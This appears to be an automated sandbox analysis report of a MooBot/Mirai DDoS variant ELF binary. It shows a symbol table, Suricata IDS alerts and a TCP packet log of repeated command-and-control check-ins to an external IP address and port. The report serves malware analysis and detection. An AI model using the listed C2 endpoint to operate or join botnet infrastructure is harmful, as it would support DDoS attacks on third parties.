_memcpy	.symtab	0x1b650	0	FUNC	<unknown>	HIDDEN	2
_ppfs_init	.symtab	0x14bbc	160	FUNC	<unknown>	HIDDEN	2
_ppfs_init.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_parsespec	.symtab	0x14ea4	1392	FUNC	<unknown>	HIDDEN	2
_ppfs_parsespec.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_prepargs	.symtab	0x14c5c	68	FUNC	<unknown>	HIDDEN	2
_ppfs_prepargs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_setargs	.symtab	0x14ca0	432	FUNC	<unknown>	HIDDEN	2
_ppfs_setargs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_promoted_size	.symtab	0x14e50	84	FUNC	<unknown>	DEFAULT	2
_pthread_cleanup_pop_restore	.symtab	0x196ec	44	FUNC	<unknown>	DEFAULT	2
_pthread_cleanup_push_defer	.symtab	0x196e4	8	FUNC	<unknown>	DEFAULT	2
_rfill.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_setjmp	.symtab	0x19ce8	8	FUNC	<unknown>	DEFAULT	2
_start	.symtab	0x8194	0	FUNC	<unknown>	DEFAULT	2
_stdio.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_stdio_fopen	.symtab	0x13c38	1120	FUNC	<unknown>	HIDDEN	2
_stdio_init	.symtab	0x14098	128	FUNC	<unknown>	HIDDEN	2
_stdio_openlist	.symtab	0x27a18	4	OBJECT	<unknown>	DEFAULT	13
_stdio_openlist_add_lock	.symtab	0x2bc94	12	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_dec_use	.symtab	0x15530	688	FUNC	<unknown>	HIDDEN	2
_stdio_openlist_del_count	.symtab	0x2bcb0	4	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_del_lock	.symtab	0x2bca0	12	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_use_count	.symtab	0x2bcac	4	OBJECT	<unknown>	DEFAULT	14
_stdio_streams	.symtab	0x27a1c	204	OBJECT	<unknown>	DEFAULT	13
_stdio_term	.symtab	0x14118	356	FUNC	<unknown>	HIDDEN	2
_stdio_user_locking	.symtab	0x27a00	4	OBJECT	<unknown>	DEFAULT	13
_stdlib_strto_l	.symtab	0x183d8	472	FUNC	<unknown>	HIDDEN	2
_stdlib_strto_l.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_store_inttype	.symtab	0x1aa5c	44	FUNC	<unknown>	HIDDEN	2
_store_inttype.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_string_syserrmsgs	.symtab	0x1e78c	2906	OBJECT	<unknown>	HIDDEN	4
_string_syserrmsgs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_trans2r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_trans2w.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_uintmaxtostr	.symtab	0x1aa88	348	FUNC	<unknown>	HIDDEN	2
_uintmaxtostr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_vfprintf_internal	.symtab	0x144c8	1780	FUNC	<unknown>	HIDDEN	2
_vfprintf_internal.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_wcommit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
abort	.symtab	0x17c50	296	FUNC	<unknown>	DEFAULT	2
abort.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-07T16:23:06.006561+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56560	91.200.103.117	23561	TCP
2024-10-07T16:23:15.603354+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56562	91.200.103.117	23561	TCP
2024-10-07T16:23:26.246511+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56564	91.200.103.117	23561	TCP
2024-10-07T16:23:28.899113+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56566	91.200.103.117	23561	TCP
2024-10-07T16:23:33.615423+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56568	91.200.103.117	23561	TCP
2024-10-07T16:23:44.353616+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56570	91.200.103.117	23561	TCP
2024-10-07T16:23:52.077181+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56572	91.200.103.117	23561	TCP
2024-10-07T16:24:00.708676+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56574	91.200.103.117	23561	TCP
2024-10-07T16:24:03.353037+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56576	91.200.103.117	23561	TCP
2024-10-07T16:24:08.992696+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56578	91.200.103.117	23561	TCP
2024-10-07T16:24:19.616536+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56580	91.200.103.117	23561	TCP
2024-10-07T16:24:25.754809+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56582	91.200.103.117	23561	TCP
2024-10-07T16:24:28.387054+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56584	91.200.103.117	23561	TCP
2024-10-07T16:24:39.028066+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56586	91.200.103.117	23561	TCP
2024-10-07T16:24:50.688280+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56588	91.200.103.117	23561	TCP
2024-10-07T16:24:58.320979+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56590	91.200.103.117	23561	TCP
2024-10-07T16:25:09.009078+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56592	91.200.103.117	23561	TCP
2024-10-07T16:25:14.679682+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56594	91.200.103.117	23561	TCP
2024-10-07T16:25:17.306127+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56596	91.200.103.117	23561	TCP
2024-10-07T16:25:21.964504+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56598	91.200.103.117	23561	TCP
2024-10-07T16:25:32.586940+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56600	91.200.103.117	23561	TCP
2024-10-07T16:25:38.215037+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56602	91.200.103.117	23561	TCP
2024-10-07T16:25:44.071976+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56604	91.200.103.117	23561	TCP
2024-10-07T16:25:51.092735+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56606	91.200.103.117	23561	TCP
2024-10-07T16:25:53.596712+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56608	91.200.103.117	23561	TCP
2024-10-07T16:25:56.333906+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56610	91.200.103.117	23561	TCP
2024-10-07T16:26:01.070195+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56612	91.200.103.117	23561	TCP
2024-10-07T16:26:04.700190+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56614	91.200.103.117	23561	TCP
2024-10-07T16:26:12.530708+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56616	91.200.103.117	23561	TCP
2024-10-07T16:26:24.677863+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56618	91.200.103.117	23561	TCP
2024-10-07T16:26:33.331143+0200	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	1	192.168.2.23	56620	91.200.103.117	23561	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 16:23:05.338433981 CEST	43928	443	192.168.2.23	91.189.91.42
Oct 7, 2024 16:23:05.963797092 CEST	56560	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:23:05.968647003 CEST	23561	56560	91.200.103.117	192.168.2.23
Oct 7, 2024 16:23:05.968791962 CEST	56560	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:23:06.006561041 CEST	56560	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:23:06.011523962 CEST	23561	56560	91.200.103.117	192.168.2.23
Oct 7, 2024 16:23:07.385986090 CEST	42516	80	192.168.2.23	109.202.202.202
Oct 7, 2024 16:23:07.582143068 CEST	23561	56560	91.200.103.117	192.168.2.23
Oct 7, 2024 16:23:07.582483053 CEST	56560	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:23:07.587373018 CEST	23561	56560	91.200.103.117	192.168.2.23
Oct 7, 2024 16:23:10.970258951 CEST	42836	443	192.168.2.23	91.189.91.43
Oct 7, 2024 16:23:15.597647905 CEST	56562	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:23:15.602586985 CEST	23561	56562	91.200.103.117	192.168.2.23
Oct 7, 2024 16:23:15.602638960 CEST	56562	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:23:15.603353977 CEST	56562	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:23:15.608253956 CEST	23561	56562	91.200.103.117	192.168.2.23
Oct 7, 2024 16:23:17.221467972 CEST	23561	56562	91.200.103.117	192.168.2.23
Oct 7, 2024 16:23:17.221698999 CEST	56562	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:23:17.226589918 CEST	23561	56562	91.200.103.117	192.168.2.23
Oct 7, 2024 16:23:26.240916967 CEST	56564	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:23:26.245819092 CEST	23561	56564	91.200.103.117	192.168.2.23
Oct 7, 2024 16:23:26.245882988 CEST	56564	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:23:26.246510983 CEST	56564	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:23:26.251293898 CEST	23561	56564	91.200.103.117	192.168.2.23
Oct 7, 2024 16:23:27.095343113 CEST	43928	443	192.168.2.23	91.189.91.42
Oct 7, 2024 16:23:27.882877111 CEST	23561	56564	91.200.103.117	192.168.2.23
Oct 7, 2024 16:23:27.883162975 CEST	56564	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:23:27.888154984 CEST	23561	56564	91.200.103.117	192.168.2.23
Oct 7, 2024 16:23:28.893148899 CEST	56566	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:23:28.898164034 CEST	23561	56566	91.200.103.117	192.168.2.23
Oct 7, 2024 16:23:28.898231030 CEST	56566	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:23:28.899112940 CEST	56566	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:23:28.904042006 CEST	23561	56566	91.200.103.117	192.168.2.23
Oct 7, 2024 16:23:30.598455906 CEST	23561	56566	91.200.103.117	192.168.2.23
Oct 7, 2024 16:23:30.598676920 CEST	56566	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:23:30.603494883 CEST	23561	56566	91.200.103.117	192.168.2.23
Oct 7, 2024 16:23:33.609483957 CEST	56568	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:23:33.614348888 CEST	23561	56568	91.200.103.117	192.168.2.23
Oct 7, 2024 16:23:33.614407063 CEST	56568	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:23:33.615422964 CEST	56568	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:23:33.620274067 CEST	23561	56568	91.200.103.117	192.168.2.23
Oct 7, 2024 16:23:35.334022045 CEST	23561	56568	91.200.103.117	192.168.2.23
Oct 7, 2024 16:23:35.334263086 CEST	56568	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:23:35.339077950 CEST	23561	56568	91.200.103.117	192.168.2.23
Oct 7, 2024 16:23:37.333822012 CEST	42836	443	192.168.2.23	91.189.91.43
Oct 7, 2024 16:23:37.333830118 CEST	42516	80	192.168.2.23	109.202.202.202
Oct 7, 2024 16:23:44.346776009 CEST	56570	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:23:44.352380037 CEST	23561	56570	91.200.103.117	192.168.2.23
Oct 7, 2024 16:23:44.352427006 CEST	56570	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:23:44.353615999 CEST	56570	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:23:44.358658075 CEST	23561	56570	91.200.103.117	192.168.2.23
Oct 7, 2024 16:23:46.061207056 CEST	23561	56570	91.200.103.117	192.168.2.23
Oct 7, 2024 16:23:46.061374903 CEST	56570	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:23:46.066328049 CEST	23561	56570	91.200.103.117	192.168.2.23
Oct 7, 2024 16:23:52.071147919 CEST	56572	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:23:52.076123953 CEST	23561	56572	91.200.103.117	192.168.2.23
Oct 7, 2024 16:23:52.076176882 CEST	56572	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:23:52.077181101 CEST	56572	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:23:52.082027912 CEST	23561	56572	91.200.103.117	192.168.2.23
Oct 7, 2024 16:23:53.694200993 CEST	23561	56572	91.200.103.117	192.168.2.23
Oct 7, 2024 16:23:53.694356918 CEST	56572	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:23:53.699290037 CEST	23561	56572	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:00.703130007 CEST	56574	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:00.707986116 CEST	23561	56574	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:00.708039045 CEST	56574	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:00.708676100 CEST	56574	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:00.713541031 CEST	23561	56574	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:02.338442087 CEST	23561	56574	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:02.338560104 CEST	56574	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:02.343422890 CEST	23561	56574	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:03.347167969 CEST	56576	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:03.352456093 CEST	23561	56576	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:03.352502108 CEST	56576	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:03.353037119 CEST	56576	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:03.357883930 CEST	23561	56576	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:04.978022099 CEST	23561	56576	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:04.978156090 CEST	56576	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:04.983032942 CEST	23561	56576	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:08.049647093 CEST	43928	443	192.168.2.23	91.189.91.42
Oct 7, 2024 16:24:08.987142086 CEST	56578	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:08.992135048 CEST	23561	56578	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:08.992185116 CEST	56578	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:08.992696047 CEST	56578	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:08.997613907 CEST	23561	56578	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:10.600086927 CEST	23561	56578	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:10.600461006 CEST	56578	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:10.605460882 CEST	23561	56578	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:19.609915018 CEST	56580	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:19.615041971 CEST	23561	56580	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:19.615144968 CEST	56580	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:19.616535902 CEST	56580	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:19.621351957 CEST	23561	56580	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:21.245807886 CEST	23561	56580	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:21.245959997 CEST	56580	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:21.250754118 CEST	23561	56580	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:25.749232054 CEST	56582	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:25.754163980 CEST	23561	56582	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:25.754209995 CEST	56582	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:25.754808903 CEST	56582	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:25.759591103 CEST	23561	56582	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:27.366318941 CEST	23561	56582	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:27.366595984 CEST	56582	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:27.371452093 CEST	23561	56582	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:28.381486893 CEST	56584	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:28.386385918 CEST	23561	56584	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:28.386437893 CEST	56584	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:28.387053967 CEST	56584	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:28.392574072 CEST	23561	56584	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:30.013648987 CEST	23561	56584	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:30.014396906 CEST	56584	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:30.019208908 CEST	23561	56584	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:39.022304058 CEST	56586	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:39.027501106 CEST	23561	56586	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:39.027546883 CEST	56586	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:39.028065920 CEST	56586	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:39.032908916 CEST	23561	56586	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:40.673238039 CEST	23561	56586	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:40.673464060 CEST	56586	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:40.678291082 CEST	23561	56586	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:50.682543993 CEST	56588	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:50.687376022 CEST	23561	56588	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:50.687427998 CEST	56588	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:50.688280106 CEST	56588	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:50.693137884 CEST	23561	56588	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:52.306528091 CEST	23561	56588	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:52.306704044 CEST	56588	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:52.311553955 CEST	23561	56588	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:58.314935923 CEST	56590	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:58.319789886 CEST	23561	56590	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:58.319839001 CEST	56590	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:58.320979118 CEST	56590	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:58.325877905 CEST	23561	56590	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:59.993709087 CEST	23561	56590	91.200.103.117	192.168.2.23
Oct 7, 2024 16:24:59.993837118 CEST	56590	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:24:59.998640060 CEST	23561	56590	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:09.002621889 CEST	56592	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:09.008477926 CEST	23561	56592	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:09.008542061 CEST	56592	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:09.009078026 CEST	56592	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:09.014004946 CEST	23561	56592	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:10.665771961 CEST	23561	56592	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:10.665937901 CEST	56592	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:10.670861959 CEST	23561	56592	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:14.674128056 CEST	56594	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:14.679020882 CEST	23561	56594	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:14.679058075 CEST	56594	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:14.679682016 CEST	56594	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:14.684612989 CEST	23561	56594	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:16.291503906 CEST	23561	56594	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:16.291924953 CEST	56594	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:16.297570944 CEST	23561	56594	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:17.300394058 CEST	56596	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:17.305533886 CEST	23561	56596	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:17.305589914 CEST	56596	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:17.306127071 CEST	56596	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:17.311537027 CEST	23561	56596	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:18.948738098 CEST	23561	56596	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:18.948894978 CEST	56596	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:18.953865051 CEST	23561	56596	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:21.958378077 CEST	56598	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:21.963857889 CEST	23561	56598	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:21.963921070 CEST	56598	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:21.964504004 CEST	56598	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:21.969494104 CEST	23561	56598	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:23.573031902 CEST	23561	56598	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:23.573173046 CEST	56598	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:23.578104973 CEST	23561	56598	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:32.581286907 CEST	56600	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:32.586148977 CEST	23561	56600	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:32.586226940 CEST	56600	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:32.586940050 CEST	56600	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:32.591772079 CEST	23561	56600	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:34.197911024 CEST	23561	56600	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:34.198024988 CEST	56600	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:34.202879906 CEST	23561	56600	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:38.209258080 CEST	56602	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:38.214381933 CEST	23561	56602	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:38.214441061 CEST	56602	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:38.215037107 CEST	56602	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:38.219894886 CEST	23561	56602	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:40.056545019 CEST	23561	56602	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:40.056739092 CEST	56602	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:40.061912060 CEST	23561	56602	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:44.065862894 CEST	56604	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:44.071105003 CEST	23561	56604	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:44.071147919 CEST	56604	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:44.071975946 CEST	56604	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:44.076880932 CEST	23561	56604	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:45.705260992 CEST	23561	56604	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:45.705435038 CEST	56604	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:45.710751057 CEST	23561	56604	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:50.912399054 CEST	56606	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:50.917380095 CEST	23561	56606	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:50.917421103 CEST	56606	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:51.092735052 CEST	56606	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:51.097917080 CEST	23561	56606	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:52.563549042 CEST	23561	56606	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:52.563811064 CEST	56606	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:52.568839073 CEST	23561	56606	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:53.591182947 CEST	56608	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:53.596049070 CEST	23561	56608	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:53.596128941 CEST	56608	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:53.596712112 CEST	56608	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:53.602639914 CEST	23561	56608	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:55.318837881 CEST	23561	56608	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:55.319041014 CEST	56608	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:55.324223995 CEST	23561	56608	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:56.328387022 CEST	56610	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:56.333328009 CEST	23561	56610	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:56.333411932 CEST	56610	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:56.333905935 CEST	56610	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:56.338902950 CEST	23561	56610	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:57.951781988 CEST	23561	56610	91.200.103.117	192.168.2.23
Oct 7, 2024 16:25:57.951996088 CEST	56610	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:25:57.956962109 CEST	23561	56610	91.200.103.117	192.168.2.23
Oct 7, 2024 16:26:01.064595938 CEST	56612	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:26:01.069505930 CEST	23561	56612	91.200.103.117	192.168.2.23
